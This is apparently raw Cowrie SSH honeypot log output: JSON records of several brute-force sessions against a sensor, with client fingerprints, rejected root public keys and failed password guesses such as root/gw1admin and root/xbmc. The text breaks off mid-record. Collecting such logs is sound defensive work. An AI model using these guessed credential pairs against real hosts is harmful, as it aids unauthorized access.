{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.263290Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.332295Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.652672Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:e3:bf:38:63:9f:a4:52:cb:44:bc:dd:fa:8a:b9:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClKTKxIDuyLSbrT58wOrFTr+6kXoHQXxNwG6vb4krmXE0EDVDtEhSg4GUW7Y/oU+IkqBI4bxO7YaP5vskolb6kKK0V4GLLgeP8jLXVKNk+afQoRMPQUUeeK7LOCw9KJCwRVUljmHE1J7EUssSZmF4swoMxNZhJqDOK6uz8JM4qPmY4aaSYlhcoZuVVnfLiN/utPXiIQKChSYWh7tfSOzUyvZRIi7bUBYwqpOSvgeUR/dCmaqZ3vY/cH7C84vKncxRrXovUcwtonHCHLgtqfBy/iTLX1QARz/xDYPsFEg/2gValFpbjtNUkQ41poyrhi/LMj6Qh3paT2yY9Lc1eJhqV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.656468Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.724881Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:0f:b5:de:f0:0e:8f:27:e5:b5:b4:d1:60:0a:32:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFJTRCBEep6NDIDh/kGrb4YQBWJTLM8BfEGW75J9uIxyh5wem3fD4CN4xrWl+mquai6WL4ljb3iIiL77c0U3AEFgofbDOOUOL4rrAgrvrrSxIL0dWNdO5dxThvu1Udac5yWNmuHVzsCAS9GdiXJI8h9jUiYovTJ7lh3w28XUub6bTubSmIvZ1UgHRE5pJJ2/AlwoKUDclgEW6I7hYTHw87nDtAzSfMDoGdKhJ/TlmKFy3apRDuDxI+43/pRahoYnIithMtbqg6waWgxvUGUQ8wg9Sb8Ei7fq8U2IEG9Vvby1D2gNIgq1MdnvR+dlb3b5x2RGtUKI+nzGVe69wX3ntZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.728628Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.797275Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:82:a0:ae:65:47:cb:2d:63:a4:27:d1:73:97:de:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC0wHgsjGB7zyfJXQbxuH582isjRs2Nx414ZOkjtx13mL/qc80a7W9yTncGS18L2PCMgow4teo95zbl/K4rZ/nXOPLh5eX34HSVXcMuNUdkcxZVxzfYLYPJXRHnFzcV3aHkJlvTW4GbxPKKIG32TftNBptePDeLG0aWYFcOa1P5uT6BC7shFmX9JM0Z1McEgtC/JuAh41r40M/L+MvxMq/G2vy+FJoS/0Br1lWpRju5Mw6Ddb3W3c7gX2Aaiak5Zm5PXKOO9GTN6jrFn0UxDwB/dHpdHvTdo+Ni1E6yV5R3raUMVvDpOLjpbZnUNrGQZsCEp/cdwp/MzD/3+pdWNSZflLKCK+PaEZ6cPw51pNcIiea0Z0r5wrb6AwUWRkWTaYHhoypoitlJyN3TlE0K6G7UHk/dADY7Lm4ZxlpTvxVPUvUEyWHnfBUI6xJHFcbtQb8P+8JvoIynvzNQJ3o550k1SO2SmMnxl/J307pYCLzVIcLN4ocUynsCXDE36l+qPEH8jD3DqtBkQFoTAosUj9eAbru3uVP7tIBrQqA1969t1a0XyN0aQY4kSgqxAkV6T/wmWQKt6lRHlRX5WVbo+VhxZ8b1fRgr1CcmYsprVrcDgPzh0IHuA056Ow9G/esmGJa1Y+KCJJVKkokHlQTyrzl932lCWGMiWr2Xtc41S1SRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.800745Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.876501Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:d4:be:3f:33:0c:b0:2e:1f:51:cc:03:68:1d:e8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgjanh+7TCrMUJ4XHMqvIRPna1rZpSVgv+LnKWHXyJUBHMWi5IPP2hbk6Nmn6Wm7H1xeeglvsF2g9mfRnxtTlTfDbw36mcWwbKvcxJIi0QRJZPXsXUoFqgqexwrJe2hVlzzxMtwjexlRIjLKeMnB4SOWMbxOSOq20jOmqdFRHQIy4uV36O+grR4y5BhEfeIAqk4kMKkYoPr7I55i6JYZ0p3UfpylEAoFAxnXbMtRuTTj0zp7Ct06XQrDW1JHNnmwvBWztdP85bBIXgw3NrdgHccChzXiaxq/9ZUEmD8w/aRUpRjzHpdsVmOWEdF2fn1VGeoWzWJwAhVbaDroKZy+x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.880230Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.948413Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:e0:ae:84:31:32:8f:2d:97:cd:43:9d:f9:18:5c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfBCyz1BB0eQ8CbOu6leHjRawCtoSGaG8BHlqm1TbFmOfypwZnCF2YP7agoz1jPcR8PnQxFAOfNRLQuDae9mIgvKjG37zOTCJmCaAwblWq7bmMooSOf75nQD0V/sM98jq9CTeuT+m8L2uZt6ZwzPwOQ6v9gbXr8GRIHF2ym4fUtztGONy9XkMu0+cKZZjwLTN4WRWw+VXt7T+RkP6sfVcJspzaN/AOxohAEospsflwUfnrV4Ffe+UC+GhAv/UcE2GUs+KWuj7bmBrGwHduzm8+kHjv2vwTpIvbSYId8k3kUR+RShLW8x03UYoxcE5rlxoSFFuRKjkWAEPTWPkPidv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:29.952137Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:30.021129Z","src_ip":"142.171.90.82","session":"d69bb773037c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":41038,"dst_ip":"159.203.135.109","dst_port":22,"session":"f15a42666c55","protocol":"ssh","message":"New connection: 152.53.22.186:41038 (159.203.135.109:22) [session: f15a42666c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:30.634163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:30.638941Z","src_ip":"152.53.22.186","session":"f15a42666c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:30.729559Z","src_ip":"152.53.22.186","session":"f15a42666c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver123","message":"login attempt [mcserver/mcserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:31.178870Z","src_ip":"152.53.22.186","session":"f15a42666c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:22:32.272755Z","src_ip":"152.53.22.186","session":"f15a42666c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":46402,"dst_ip":"159.203.135.109","dst_port":22,"session":"afb8b8b518fb","protocol":"ssh","message":"New connection: 152.53.22.186:46402 (159.203.135.109:22) [session: afb8b8b518fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:19.521103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:19.526252Z","src_ip":"152.53.22.186","session":"afb8b8b518fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:19.627036Z","src_ip":"152.53.22.186","session":"afb8b8b518fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gw1admin","message":"login attempt [root/gw1admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:20.002637Z","src_ip":"152.53.22.186","session":"afb8b8b518fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:21.091373Z","src_ip":"152.53.22.186","session":"afb8b8b518fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":14881,"dst_ip":"159.203.135.109","dst_port":22,"session":"b43268c28cee","protocol":"ssh","message":"New connection: 193.24.211.100:14881 (159.203.135.109:22) [session: b43268c28cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:42.234302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:42.240399Z","src_ip":"193.24.211.100","session":"b43268c28cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:42.389146Z","src_ip":"193.24.211.100","session":"b43268c28cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xbmc","message":"login attempt [root/xbmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:42.826797Z","src_ip":"193.24.211.100","session":"b43268c28cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:23:43.939644Z","src_ip":"193.24.211.100","session":"b43268c28cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":36082,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e457fc9823","protocol":"ssh","message":"New connection: 57.128.223.80:36082 (10.17.0.5:22) [session: 43e457fc9823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:10.444226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:24:10.454623Z","src_ip":"57.128.223.80","session":"43e457fc9823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellm